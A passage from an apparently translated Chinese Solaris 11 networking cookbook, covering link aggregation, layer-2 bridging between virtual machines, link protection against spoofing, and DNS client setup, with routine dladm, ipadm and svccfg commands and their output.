让我们通过执行以下命令看看系统中有哪些内容:

root@solaris11-1:~# ipadm show-if
IFNAME     CLASS    STATE    ACTIVE OVER
lo0        loopback ok       yes    --
net0       ip       ok       yes    --
net1       ip       ok       yes    --
net2       ip       ok       yes    --
net3       ip       ok       yes    --
root@solaris11-1:~# ipadm show-addr| grep v4
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
net0/v4           dhcp     ok           192.168.1.108/24
net1/v4           dhcp     ok           192.168.1.106/24
net2/v4           dhcp     ok           192.168.1.109/24
net3/v4           dhcp     ok           192.168.1.107/24

有四个接口通过本地 DHCP 服务获取其 IP 地址。因此,要配置链路聚合,必须删除所有接口上的 IP 对象地址,并通过执行以下命令验证其状态:

root@solaris11-1:~# ipadm delete-ip net0
root@solaris11-1:~# ipadm delete-ip net1
root@solaris11-1:~# ipadm delete-ip net2
root@solaris11-1:~# ipadm delete-ip net3
root@solaris11-1:~# ipadm show-addr | grep v4
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
root@solaris11-1:~# ipadm show-if
IFNAME     CLASS    STATE    ACTIVE OVER
lo0        loopback ok       yes    --
root@solaris11-1:~# dladm show-link
LINK                CLASS     MTU    STATE    OVER
net0                phys      1500   up       --
net1                phys      1500   up       --
net2                phys      1500   up       --
net3                phys      1500   up       --

很好。一切正常。这时可以设置链路聚合(干道链路聚合)。让我们通过运行以下命令,使用所有接口来创建聚合:

root@solaris11-1:~# dladm create-aggr -l net0 -l net1 -l net2 -l net3 super_aggr_0

要检查聚合是否创建成功,可以执行以下命令:

root@solaris11-1:~# dladm show-link
LINK                CLASS     MTU    STATE    OVER
net0                phys      1500   up       --
net1                phys      1500   up       --
net2                phys      1500   up       --
net3                phys      1500   up       --
super_aggr_0         aggr      1500   up       net0 net1 net2 net3

可以通过执行以下命令收集更多关于聚合的信息:

root@solaris11-1:~# dladm show-aggr
LINK            MODE  POLICY   ADDRPOLICY      LACPACTIVITY LACPTIMER
super_aggr_0    trunk L4       auto            off          short

super_aggr_0 聚合已经创建,并且像一个单独的网络接口一样工作。如前所述,默认的聚合类型是 trunk,默认策略是 L4(通信)。出于好奇,如果我们想创建一个 DMLP 链路聚合,命令如下:

root@solaris11-1:~# dladm create-aggr –m dlmp -l net0 -l net1 -l net2 -l net3 super_aggr_0

现在,是时候在其上创建一个 IP 对象了:

root@solaris11-1:~# ipadm create-ip super_aggr_0
root@solaris11-1:~# ipadm show-addr | grep v4
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8

super_aggr_0 聚合仍然处于关闭状态,因为没有为其分配 IP 地址:

root@solaris11-1:~# ipadm show-if
IFNAME     CLASS    STATE    ACTIVE OVER
lo0        loopback ok       yes    --
super_aggr_0 ip     down     no     --

然而,在第 2 层(数据链路层)一切都是 ok

root@solaris11-1:~# dladm show-link
LINK                CLASS     MTU    STATE    OVER
net0                phys      1500   up       --
net1                phys      1500   up       --
net2                phys      1500   up       --
net3                phys      1500   up       --
super_aggr_0         aggr      1500   up       net0 net1 net2 net3

很好!关键的步骤是为聚合对象分配一个 IP 地址,即 super_aggr_0

root@solaris11-1:~# ipadm create-addr -T static -a 192.168.1.166/24 super_aggr_0/v4
root@solaris11-1:~# ipadm show-if
IFNAME       CLASS    STATE    ACTIVE OVER
lo0          loopback ok       yes    --
super_aggr_0 ip       ok       yes    --

如我们之前所学,所有接口都被隐藏,只有链路聚合接口会显示并呈现给外部网络。要收集有关聚合的更多信息,请运行以下命令:

root@solaris11-1:~# dladm show-aggr
LINK            MODE  POLICY   ADDRPOLICY      LACPACTIVITY LACPTIMER
super_aggr_0    trunk L4       auto            off          short
root@solaris11-1:~# ipadm show-addr | grep v4
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
super_aggr_0/v4   static   ok           192.168.1.166/24

验证一切是否正常工作的推荐方法是尝试发送和接收数据包:

root@solaris11-1:~# ping 192.168.1.1
192.168.1.1 is alive

我们还可以通过使用 netstat 命令来监视链路聚合活动:

root@solaris11-1:~# netstat -i -I super_aggr_0 -f inet
Name  Mtu  Net/Dest      Address        Ipkts  Ierrs Opkts  Oerrs Collis Queue
super_aggr_0 1500 192.168.1.0   192.168.1.166  32745  0     243    0     0      0  
root@solaris11-1:~# netstat -rn -f inet
Routing Table: IPv4
Destination        Gateway           Flags  Ref     Use     Interface
------------------ ----------------- ------ ------- ------- ---------
127.0.0.1          127.0.0.1         UH     2       8066    lo0       
192.168.1.0        192.168.1.166     U      3       28   super_aggr_0

我们差不多完成了学习(还没!)。要更改链路聚合策略(例如,从 L4 到 L2),我们执行以下命令:

root@solaris11-1:~# dladm show-aggr
LINK            MODE  POLICY  ADDRPOLICY       LACPACTIVITY LACPTIMER
super_aggr_0    trunk L4      auto             off          short
root@solaris11-1:~# dladm modify-aggr --policy=L2 super_aggr_0
root@solaris11-1:~# dladm show-aggr
LINK          MODE  POLICY   ADDRPOLICY        LACPACTIVITY LACPTIMER
super_aggr_0  trunk L2       auto              off          short

我们的链路聚合示例是使用四个接口创建的。然而,接口可以随时插入或删除。首先,我们需要知道哪些接口是聚合的一部分,可以通过执行以下命令来查看:

root@solaris11-1:~# dladm show-link
LINK                CLASS     MTU    STATE    OVER
net0                phys      1500   up       --
net1                phys      1500   up       --
net2                phys      1500   up       --
net3                phys      1500   up       --
super_aggr_0        aggr      1500   up       net0 net1 net2 net3

现在,通过执行以下命令,可以轻松从聚合中删除一个接口:

root@solaris11-1:~# dladm remove-aggr -l net3 super_aggr_0

为了确认之前的命令是否有效,运行以下命令:

root@solaris11-1:~# dladm show-link
LINK                CLASS     MTU    STATE    OVER
net0                phys      1500   up       --
net1                phys      1500   up       --
net2                phys      1500   up       --
net3                phys      1500   up       --
super_aggr_0        aggr      1500   up       net0 net1 net2

添加接口几乎遵循相同的语法,如下所示:

root@solaris11-1:~# dladm add-aggr -l net3 super_aggr_0
root@solaris11-1:~# dladm show-link
LINK                CLASS     MTU    STATE    OVER
net0                phys      1500   up       --
net1                phys      1500   up       --
net2                phys      1500   up       --
net3                phys      1500   up       --
super_aggr_0        aggr      1500   up       net0 net1 net2 net3
root@solaris11-1:~#

最后,我们可以删除聚合,以便为下一节做准备:

root@solaris11-1:~# ipadm show-if
IFNAME     CLASS    STATE    ACTIVE OVER
lo0        loopback ok       yes    --
super_aggr_0 ip     ok       yes    --
root@solaris11-1:~# ipadm delete-ip super_aggr_0
root@solaris11-1:~# ipadm show-if
IFNAME     CLASS    STATE    ACTIVE OVER
lo0        loopback ok       yes    --
root@solaris11-1:~# ipadm show-addr
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
lo0/v6            static   ok           ::1/128
root@solaris11-1:~# dladm show-link
LINK                CLASS     MTU    STATE    OVER
net0                phys      1500   up       --
net1                phys      1500   up       --
net2                phys      1500   up       --
net3                phys      1500   up       --
super_aggr_0        aggr      1500   up       net0 net1 net2 net3
root@solaris11-1:~# dladm delete-aggr super_aggr_0
root@solaris11-1:~# dladm show-link
LINK                CLASS     MTU    STATE    OVER
net0                phys      1500   up       --
net1                phys      1500   up       --
net2                phys      1500   up       --
net3                phys      1500   up       --
root@solaris11-1:~# ipadm show-addr
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
lo0/v6            static   ok           ::1/128
root@solaris11-1:~#
root@solaris11-1:~# ipadm create-ip net0
root@solaris11-1:~# ipadm create-ip net1
root@solaris11-1:~# ipadm create-ip net2
root@solaris11-1:~# ipadm create-ip net3
root@solaris11-1:~# ipadm show-addr
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
lo0/v6            static   ok           ::1/128
root@solaris11-1:~# ipadm create-addr -T dhcp net0
net0/v4
root@solaris11-1:~# ipadm create-addr -T dhcp net1
net1/v4
root@solaris11-1:~# ipadm create-addr -T dhcp net2
net2/v4
root@solaris11-1:~# ipadm create-addr -T dhcp net3
net3/v4
root@solaris11-1:~# ipadm show-addr | grep v4
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
net0/v4           dhcp     ok           192.168.1.108/24
net1/v4           dhcp     ok           192.168.1.106/24
net2/v4           dhcp     ok           192.168.1.109/24
net3/v4           dhcp     ok           192.168.1.107/24
root@solaris11-1:~#

很好!我们已完成链路聚合的学习。

配方概览

在本节中,我们学习了两种链路聚合方式。其主要优势在于性能,因为它将所有接口汇聚在一起,隐藏它们,并只呈现最终的逻辑对象:链路聚合对象。对于外部主机来说,这就像系统上只有一个接口一样。此外,我们还了解了如何监控、修改和删除聚合。

配置网络桥接

Oracle Solaris 11 提供了一项出色的功能,能够部署连接分离网络段并共享广播域的网络桥接(第二层,数据链路),无需路由器,采用数据包转发机制:网络 1 | 桥接 | 网络 2。

配置并使用网络桥接的实际效果是,所有机器能够像在同一网络中一样相互通信。然而,由于桥接工作在混杂模式下,它使用一些技术来防止产生环路,如 生成树协议STP),该协议用于交换机,还有 大量链路透明互连TRILL),与 STP 相比,TRILL 有一点优势,因为它始终使用最短路径来转发数据包,而不会像 STP 那样关闭物理链接。

准备就绪

要按照此步骤操作,需要创建一个复杂的配置。我们必须有三台虚拟机(VirtualBox 或 VMware,这里以 VirtualBox 为例),每台虚拟机的 Oracle Solaris 11 系统配置为 2GB。第一台虚拟机必须具备两个网络接口,而另外两台则只有一个接口。对于第一台虚拟机(solaris11-1),网络适配器需要按以下配置:

  • 适配器 1 应该设置为 附加到 桥接适配器

  • 适配器 2 应该设置为 附加到 内部网络

第二台虚拟机(solaris11-2)必须具备以下网络配置:

  • 适配器 1 应该设置为 附加到 内部网络

第三台虚拟机必须具备以下网络配置:

  • 适配器 1 应该设置为 附加到 桥接适配器

首先,在 VirtualBox 环境中,选择 solaris11-1 虚拟机,进入 机器 菜单,选择 设置。当配置屏幕出现时,转到 网络,在 适配器 1 标签中,将 附加到 配置更改为 桥接适配器

准备就绪

在同一屏幕上,转到 适配器 2,并将 附加到 属性配置为 内部网络,如下面的屏幕截图所示:

准备就绪

现在,在 VirtualBox 的第一个屏幕上,选择solaris11-2虚拟机,进入机器菜单,选择设置。当配置屏幕出现时,进入网络,在适配器 1标签下,将连接方式配置为内部网络,如下图所示:

准备就绪

对于第三个系统,重复执行之前对第二个虚拟机所做的步骤,并将连接方式值更改为桥接适配器,如下图所示:

准备就绪

怎么做呢……

本食谱的结构是solaris11-2 | solaris11-1 | solaris11-3。我们来配置桥接(solaris11-1)。在solaris11-1虚拟机中,列出当前的网络配置:

root@solaris11-1:~# netadm list | grep ncp
ncp         Automatic      online
ncp         my_profile     disabled
ncp         DefaultFixed   disabled
root@solaris11-1:~# dladm show-phys
LINK           MEDIA              STATE      SPEED  DUPLEX    DEVICE
net0           Ethernet           up         1000   full      e1000g0
net1           Ethernet           up         1000   full      e1000g1
root@solaris11-1:~# dladm show-link
LINK                CLASS     MTU    STATE    OVER
net0                phys      1500   up       --
net1                phys      1500   up       --
root@solaris11-1:~# ipadm show-if
IFNAME     CLASS    STATE    ACTIVE OVER
lo0        loopback ok       yes    --
net0       ip       ok       yes    --
root@solaris11-1:~# ipadm show-addr
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
net0/v4           static   ok           192.168.1.40/24
lo0/v6            static   ok           ::1/128

到目前为止,我们知道这台机器有两个网络接口;它们都处于up状态,并且其中一个有 IP 地址。由于这个 IP 地址来自上一节食谱,以下命令将用于删除现有的 IP 地址,并为net0net1网络接口创建一个新的 IP 地址:

root@solaris11-1:~# ipadm delete-ip net0
root@solaris11-1:~# ipadm create-ip net0
root@solaris11-1:~# ipadm create-ip net1
root@solaris11-1:~# ipadm show-if
IFNAME     CLASS    STATE    ACTIVE OVER
lo0        loopback ok       yes    --
net0       ip       down     no     --
net1       ip       down     no     --
root@solaris11-1:~# ipadm show-addr
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
lo0/v6            static   ok           ::1/128

通过执行以下命令,为每个网络接口(net0net1)分配 IP 地址:

root@solaris11-1:~# ipadm create-addr -T static -a 192.168.1.65/24 net0/v4
root@solaris11-1:~# ipadm create-addr -T static -a 192.168.10.38/24 net1/v4

要验证 IP 分配是否正常工作,运行以下命令:

root@solaris11-1:~# ipadm show-addr
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
net0/v4           static   ok           192.168.1.65/24
net1/v4           static   ok           192.168.10.38/24
lo0/v6            static   ok           ::1/128
root@solaris11-1:~# ipadm show-if
IFNAME     CLASS    STATE    ACTIVE OVER
lo0        loopback ok       yes    --
net0       ip       ok       yes    --
net1       ip       ok       yes    --
root@solaris11-1:~#

很好!我们为net0/24网络接口分配了一个 IP 地址(192.168.1.65/24),为net1网络接口分配了另一个 IP 地址(192.168.10.38/24)。如我们所见,这两个接口处于不同的网络中,因此无法互相通信。

solaris11-3虚拟机中,我们也列出当前的网络配置,删除它,并创建一个新的配置:

root@solaris11-3:~# ipadm show-addr | grep v4
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
net0/v4           dhcp     ok           192.168.1.103/24
root@solaris11-3:~# ipadm delete-ip net0
root@solaris11-3:~# ipadm create-ip net0
root@solaris11-3:~# ipadm show-if
IFNAME     CLASS    STATE    ACTIVE OVER
lo0        loopback ok       yes    --
net0       ip       down     no     --
root@solaris11-3:~# ipadm show-addr
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
lo0/v6            static   ok           ::1/128
root@solaris11-3:~# dladm show-phys
LINK            MEDIA             STATE      SPEED  DUPLEX    DEVICE
net0            Ethernet          up         1000   full      e1000g0
root@solaris11-3:~# ipadm create-addr -T static -a 192.168.1.77/24 net0/v4
root@solaris11-3:~# ipadm show-addr | grep v4
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
net0/v4           static   ok           192.168.1.77/24
root@solaris11-3:~# ipadm show-if
IFNAME     CLASS    STATE    ACTIVE OVER
lo0        loopback ok       yes    --
net0       ip       ok       yes    --
root@solaris11-3:~# ping 192.168.1.65
192.168.1.65 is alive
root@solaris11-3:~#

很好!这个虚拟机能够访问第一个虚拟机(solaris11-1),因为它们都处于同一个网络中。

solaris11-2虚拟机上,将执行相同的步骤,删除当前的网络配置并创建一个新的配置:

root@solaris11-2:~# ipadm show-addr
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
net0/v4           dhcp     ok           192.168.1.113/24
lo0/v6            static   ok           ::1/128
root@solaris11-2:~# dladm show-phys
LINK            MEDIA             STATE      SPEED  DUPLEX    DEVICE
net0            Ethernet          up         1000   full      e1000g0

root@solaris11-2:~# ipadm delete-ip net0
root@solaris11-2:~# ipadm show-addr
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
lo0/v6            static   ok           ::1/128
root@solaris11-2:~# ipadm create-ip net0
root@solaris11-2:~# ipadm create-addr -T static -a 192.168.1.55 net0/v4
root@solaris11-2:~# ipadm show-addr
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
net0/v4           static   ok           192.168.1.55/24
lo0/v6            static   ok           ::1/128
root@solaris11-2:~# ipadm show-if
IFNAME     CLASS    STATE    ACTIVE OVER
lo0        loopback ok       yes    --
net0       ip       ok       yes    --
root@solaris11-2:~# ping 192.168.1.65
ping: sendto No route to host
root@solaris11-2:~# ping 192.168.1.77
ping: sendto No route to host

这非常好。这个虚拟机(solaris11-2)处于一个与另外两个虚拟机不同的网络(内部网络)上,并且有一个路由器无法访问它们。我们预期的正是这种行为!

现在是时候了!返回到solaris11-1虚拟机,按照以下步骤在net0net1网络接口之间创建一个桥接(第 2 层)。首先,执行以下两个命令以验证系统中是否存在桥接:

root@solaris11-1:~# dladm show-bridge
root@solaris11-1:~# dladm show-phys
LINK            MEDIA             STATE      SPEED  DUPLEX    DEVICE
net0            Ethernet          up         1000   full      e1000g0
net1            Ethernet          up         1000   full      e1000g1

没有桥接,所以是时候通过执行以下命令创建桥接(在net0net1网络接口之间):

root@solaris11-1:~# dladm create-bridge -l net0 -l net1 baybridge

要验证桥接是否成功创建,执行以下命令:

root@solaris11-1:~# dladm show-bridge
BRIDGE      PROTECT ADDRESS            PRIORITY DESROOT
baybridge   stp     32768/8:0:27:32:85:80 32768 32768/8:0:27:32:85:80

通过执行以下命令,从baybridge收集一些详细信息:

root@solaris11-1:~# dladm show-bridge baybridge -l
LINK        STATE       UPTIME  DESROOT
net0        forwarding  38      32768/8:0:27:32:85:80
net1        forwarding  38      32768/8:0:27:32:85:80

听起来不错。solaris11-1虚拟机的两个网络接口都在转发,并使用 STP 来防止环路。接下来的命令确认它们正在使用 STP:

root@solaris11-1:~# dladm show-bridge baybridge -t
dladm: bridge baybridge is not running TRILL

为了验证桥接配置是否成功,执行以下最重要的步骤,该步骤需要从solaris11-2虚拟机中执行:

root@solaris11-2:~# ping 192.168.1.65
192.168.1.65 is alive
root@solaris11-2:~# ping 192.168.1.77
192.168.1.77 is alive
root@solaris11-2:~#

真不可思议!之前,我们尝试连接192.168.1.0网络时未能成功。然而,现在情况不同了,因为在solaris11-1上配置的桥接(baybridge)使这一切成为可能。而且,还有一个大细节——没有路由器,只有一个桥接。

要撤销桥接并将环境恢复到初始配置,请执行以下命令:

root@solaris11-1:~# dladm show-bridge
BRIDGE      PROTECT ADDRESS            PRIORITY DESROOT
baybridge   stp     32768/8:0:27:32:85:80 32768 32768/8:0:27:32:85:80
root@solaris11-1:~# dladm show-bridge -l baybridge
LINK        STATE       UPTIME  DESROOT
net0        forwarding  325     32768/8:0:27:32:85:80
net1        forwarding  1262    32768/8:0:27:32:85:80
root@solaris11-1:~# dladm remove-bridge -l net0 baybridge
root@solaris11-1:~# dladm remove-bridge -l net1 baybridge
root@solaris11-1:~# dladm delete-bridge baybridge
root@solaris11-1:~# dladm show-bridge
root@solaris11-1:~# ipadm show-addr
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
net0/v4           static   ok           192.168.1.65/24
net1/v4           static   ok           192.168.10.38/24
lo0/v6            static   ok           ::1/128
root@solaris11-1:~# ipadm delete-ip net0
root@solaris11-1:~# ipadm delete-ip net1
root@solaris11-1:~# ipadm show-addr
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
lo0/v6            static   ok           ::1/128
root@solaris11-1:~# ipadm show-if
IFNAME     CLASS    STATE    ACTIVE OVER
lo0        loopback ok       yes    --
root@solaris11-1:~#

从逻辑上讲,我们已经撤销了所有操作,现在需要将网络配置从solaris11-2虚拟机切换回网络桥接模式。

配方概述

在这一部分,我们学习了如何配置、监控和取消配置桥接,桥接是一个二层技术,可以在不使用路由器的情况下将数据包从一个网络传输到另一个网络。

配置链接保护和 DNS 客户端服务

如今,虚拟化系统正在快速发展和普及,通常,虚拟机或虚拟环境(例如区域)具有完全的物理网络访问权限。不幸的是,如果这些虚拟环境中发起恶意数据包,所授予的网络访问权限可能会危及系统和整个网络。在这个时候,Oracle Solaris 11 的链接保护可以防止这些来自虚拟环境的有害数据包造成任何损害。

Oracle Solaris 11 引入了链接保护功能,旨在防止几种类型的欺骗攻击,如 IP 欺骗(当某人伪装其系统的 IP 地址,用伪造的 IP 地址冒充另一个系统,通常发生在拒绝服务攻击中)、DHCP 欺骗(当一个非法的 DHCP 服务器接入网络,提供错误的信息如网关地址,导致所有网络数据流通过黑客机器,从而引发经典的中间人攻击)和 MAC 欺骗(这是一种致命的攻击,攻击者通过操控 MAC 地址,使其能够执行中间人攻击,甚至访问控制使用 MAC 地址的系统或网络设备)。所有这些攻击都有可能危及网络,甚至整个公司。

为了有效防护这些攻击,链接保护功能提供了一个名为protection的网络接口属性,该属性有一些可能的值来确定安全级别。例如,在防止 MAC 欺骗的情况下(protection属性值等于mac-nospoof),任何出站的 MAC 地址数据包(离开系统的数据包)必须与源网络的 MAC 地址相同;否则,数据包肯定会被丢弃。

在应用 IP 欺骗保护(ip-nospoof)时,任何发出的数据包(例如,ARP 或 IP)必须具有与 DHCP 服务提供的地址相等的源地址,或者与在allow-ips属性中配置的 IP 列表相等。否则,Oracle Solaris 11 将丢弃该数据包。

protection属性的其他两个可能值是dhcp-nonspoofrestricted(它限制发出的数据包仅为 IPv4、IPv6 和 ARP)。

另一个相关的话题是如何在 Oracle Solaris 11 中设置 DNS 客户端。在 Oracle Solaris 10 之前,这个过程并没有与服务管理设施SMF)框架集成。这个情况在 Oracle Solaris 11 中发生了变化。

准备工作

这个过程需要一台安装了 Oracle Solaris 11 的虚拟机(VirtualBox 或 VMware),4GB 内存,一张网络接口卡,并能够访问互联网。可选地,如果环境中已配置了一些 Oracle Solaris 区域,那么测试会更加真实。

如何执行…

链接保护必须在全局区域中配置。如果保护应用于物理网络接口,则所有连接到物理网络接口的虚拟网卡(vnic)都会受到保护,但以下步骤只会对一个 vnic 执行。

链接保护配置是通过重置(禁用并重置保护到默认值)开始的:

root@solaris11-1:~# dladm reset-linkprop -p protection net0
root@solaris11-1:~# dladm reset-linkprop -p protection net1

要列出链接保护状态,请执行以下命令:

root@solaris11-1:~# dladm show-linkprop -p protection,allowed-ips
LINK     PROPERTY            PERM VALUE        DEFAULT   POSSIBLE
net0     protection          rw   --           --        mac-nospoof,
                                                         restricted,
                                                         ip-nospoof,
                                                         dhcp-nospoof 
net0     allowed-ips         rw   --           --        -- 
vswitch1 protection          rw   --           --        mac-nospoof,
                                                         restricted,
                                                         ip-nospoof,
                                                         dhcp-nospoof 
vswitch1 allowed-ips         rw   --           --        -- 
vnic0    protection          rw   --           --        mac-nospoof,
                                                         restricted,
                                                         ip-nospoof,
                                                         dhcp-nospoof 
vnic0    allowed-ips         rw   --           --        -- 
vnic1    protection          rw   --           --        mac-nospoof,
                                                         restricted,
                                                         ip-nospoof,
                                                         dhcp-nospoof 
vnic1    allowed-ips         rw   --           --        -- 
vnic2    protection          rw   --           --        mac-nospoof,
                                                         restricted,
                                                         ip-nospoof,
                                                         dhcp-nospoof 
vnic2    allowed-ips         rw   --           --        -- 

链接保护仍未应用。因此,要启用针对 IP 欺骗的网络接口net0的链接保护,请执行以下命令:

root@solaris11-1:~# dladm set-linkprop -p protection=ip-nospoof net0
root@solaris11-1:~# dladm show-linkprop -p protection,allowed-ips
LINK     PROPERTY            PERM VALUE        DEFAULT   POSSIBLE
net0     protection          rw   ip-nospoof   --        mac-nospoof,
                                                         restricted,
                                                         ip-nospoof,
                                                         dhcp-nospoof 
net0     allowed-ips         rw   --           --        -- 
(truncated output)

此外,系统中配置的两个区域的 IP 地址分别是192.168.1.55192.168.1.66,它们都有虚拟接口(vnic0vnic1)连接到net0接口。然后,为了允许这些区域通过物理网络进行通信,请执行以下命令:

root@solaris11-1:~# dladm set-linkprop -p allowed-ips=192.168.1.55,192.168.1.66 net0

要验证并检查前一个命令,请执行以下命令:

root@solaris11-1:~# dladm show-linkprop -p protection,allowed-ips
LINK     PROPERTY           PERM VALUE         DEFAULT   POSSIBLE
net0     protection         rw   ip-nospoof    --        mac-nospoof,
                                                        restricted,
                                                        ip-nospoof,
                                                        dhcp-nospoof 
net0     allowed-ips        rw   192.168.1.55, --       -- 
                                 192.168.1.66              
(truncated output)

也可以获取一些关于链接数据保护的统计信息,以便完整性验证,但我们在这里不深入探讨:

root@solaris11-1:~# dlstat -A | more
net0
  mac_rx_local
         ipackets                  0
           rbytes                  0
          rxlocal                  0
     rxlocalbytes                  0
            intrs                  0
        intrbytes                  0
            polls                  0
        pollbytes                  0
           idrops                  0
       idropbytes                  0
  mac_rx_other
         ipackets                  0
           rbytes                  0
(truncated)

要禁用链接数据保护,请执行以下命令:

root@solaris11-1:~# dladm reset-linkprop -p protection net0
root@solaris11-1:~# dladm reset-linkprop -p protection net1

转到另一个话题,DNS 客户端的配置自 Oracle Solaris 10 以来发生了很大变化。然而,配置起来并不困难,只是有所不同。

通常,这种需要我们手动修改一些配置的任务会在使用 NCP 配置文件DefaultFixed和本地配置文件DefaultFixed的环境中执行,因为当两个配置文件都设置为Automatic时,DHCP 提供了名称服务器配置和其他设置。因此,为了使下一个过程更具真实性,NCP 和本地配置文件将更改为DefaultFixed,在这种情况下,所有网络配置必须手动完成:

root@solaris11-1:~# dladm show-phys
LINK          MEDIA               STATE      SPEED  DUPLEX    DEVICE
net0          Ethernet            up         1000   full      e1000g0
root@solaris11-1:~# netadm list
TYPE        PROFILE        STATE
ncp         Automatic      online
ncu:phys    net0           online
ncu:ip      net0           online
ncp         my_profile     disabled
ncp         DefaultFixed   disabled
loc         NoNet          offline
loc         work           disabled
loc         Automatic      online
loc         DefaultFixed   offline
root@solaris11-1:~# netadm enable -p ncp DefaultFixed
Enabling ncp 'DefaultFixed'
root@solaris11-1:~# dladm show-phys
LINK            MEDIA             STATE      SPEED  DUPLEX    DEVICE
net0            Ethernet          unknown    1000   full      e1000g0
root@solaris11-1:~# ipadm show-addr
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
lo0/v6            static   ok           ::1/128

由于我们启用了DefaultFixed配置,现在需要创建 IP 对象并为其分配一个 IP 地址:

root@solaris11-1:~# ipadm create-ip net0
root@solaris11-1:~# ipadm create-addr -T static -a 192.168.1.144/24 net0/v4

要确认上述命令是否有效,请执行以下命令:

root@solaris11-1:~# ipadm show-addr
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
net0/v4           static   ok           192.168.1.144/24
lo0/v6            static   ok           ::1/128
root@solaris11-1:~# ipadm show-if
IFNAME     CLASS    STATE    ACTIVE OVER
lo0        loopback ok       yes    --
net0       ip       ok       yes    --
root@solaris11-1:~# netadm list
TYPE        PROFILE        STATE
ncp         Automatic      disabled
ncp         my_profile     disabled
ncp         DefaultFixed   online
loc         NoNet          offline
loc         work           offline
loc         Automatic      offline
loc         DefaultFixed   online
root@solaris11-1:~#

很好!现在,为了更改系统用于查找主机名和 IP 地址的 DNS 服务器,执行以下命令:

root@solaris11-1:~# svccfg -s svc:/network/dns/client setprop config/nameserver=net_address:"(8.8.8.8 8.8.4.4)"

设置 DNS 域(example.com)和域搜索列表(example.com)通过运行以下命令完成:

root@solaris11-1:~# svccfg -s svc:/network/dns/client setprop config/domain=astring:'("example.com")'
root@solaris11-1:~# svccfg -s svc:/network/dns/client setprop config/search=astring:'("example.com")'

分别执行以下命令设置 IPv4 和 IPv6 解析顺序(首先尝试通过查看 /etc/host 文件解析主机名,如果没有成功,则尝试在 DNS 服务上解析主机名):

root@solaris11-1:~# svccfg -s svc:/system/name-service/switch setprop config/host=astring:'("files dns")'
root@solaris11-1:~# svccfg -s svc:/system/name-service/switch setprop config/ipnodes=astring:'("files dns")'

可以通过执行以下命令来验证所有已配置的内容:

root@solaris11-1:~# svccfg -s svc:/system/name-service/switch listprop config
config                     application
config/default             astring     files
config/value_authorization astring     solaris.smf.value.name-service.switch
config/printer             astring     "user files"
config/host                astring     "files dns"
config/ipnodes             astring     "files dns"
root@solaris11-1:~# svccfg -s svc:/network/dns/client listprop config
config                      application        
config/value_authorization astring     solaris.smf.value.name-service.dns.client
config/nameserver          net_address 8.8.8.8 8.8.4.4
config/domain              astring     example.com
config/search              astring     example.com
root@solaris11-2:~#

执行了步骤是有效的,这很好;但是,这还不够。到目前为止所有的 DNS 配置都不是持久的,也不会立即或在下次系统启动时生效。因此,必须刷新 DNS 客户端服务(重新读取其关联的配置文件或服务配置)以使其立即生效,并重新启动以使配置持久化(保存在磁盘上)并在下次系统初始化时有效。可以通过执行以下命令完成此任务:

root@solaris11-1:~# svcadm refresh svc:/network/dns/client
root@solaris11-1:~# svcadm restart svc:/network/dns/client

最终,由于任何先前的随机事件,dns/client 服务可能被禁用,在这种情况下,必须通过执行以下命令启用它:

root@solaris11-1:~# svcadm enable svc:/network/dns/client:default
root@solaris11-1:~# svcs dns/client
STATE          STIME    FMRI
online          5:34:07 svc:/network/dns/client:default
root@solaris11-1:~# svcs -l svc:/network/dns/client:default
fmri         svc:/network/dns/client:default
name         DNS resolver
enabled      true
state        online
next_state   none
state_time   January 12, 2014 05:34:07 AM BRST
logfile      /var/svc/log/network-dns-client:default.log
restarter    svc:/system/svc/restarter:default
manifest     /etc/svc/profile/generic.xml
manifest     /lib/svc/manifest/network/dns/client.xml
manifest     /lib/svc/manifest/milestone/config.xml
manifest     /lib/svc/manifest/network/network-location.xml
manifest     /lib/svc/manifest/system/name-service/upgrade.xml
dependency   optional_all/none svc:/milestone/config (online)
dependency   optional_all/none svc:/network/location:default (online)
dependency   require_all/none svc:/system/filesystem/root (online) svc:/system/filesystem/usr (online) svc:/system/filesystem/minimal (online)
dependency   require_any/error svc:/network/loopback (online)
dependency   optional_all/error svc:/milestone/network (online)
dependency   optional_all/none svc:/system/manifest-import (online)
dependency   require_all/none svc:/milestone/unconfig (online)
dependency   optional_all/none svc:/system/name-service/upgrade (online)

一个非常有趣的点是 etc 下的 resolv.conf 文件(直到 Oracle Solaris 10 之前是唯一的配置点)在每次重新启动 DNS 客户端服务时都会重新生成。如果管理员手动修改此文件,则设置将立即生效,但文件内容将在下次系统重启时从服务配置中恢复。

root@solaris11-1:~# more /etc/resolv.conf
#
# _AUTOGENERATED_FROM_SMF_V1_
#
# WARNING: THIS FILE GENERATED FROM SMF DATA.
#   DO NOT EDIT THIS FILE.  EDITS WILL BE LOST.
# See resolv.conf(4) for details.

domain  example.com
search  example.com
nameserver  8.8.8.8
nameserver  8.8.4.4
root@solaris11-2:~#

最后,只有执行以下命令才会使名称服务器解析生效:

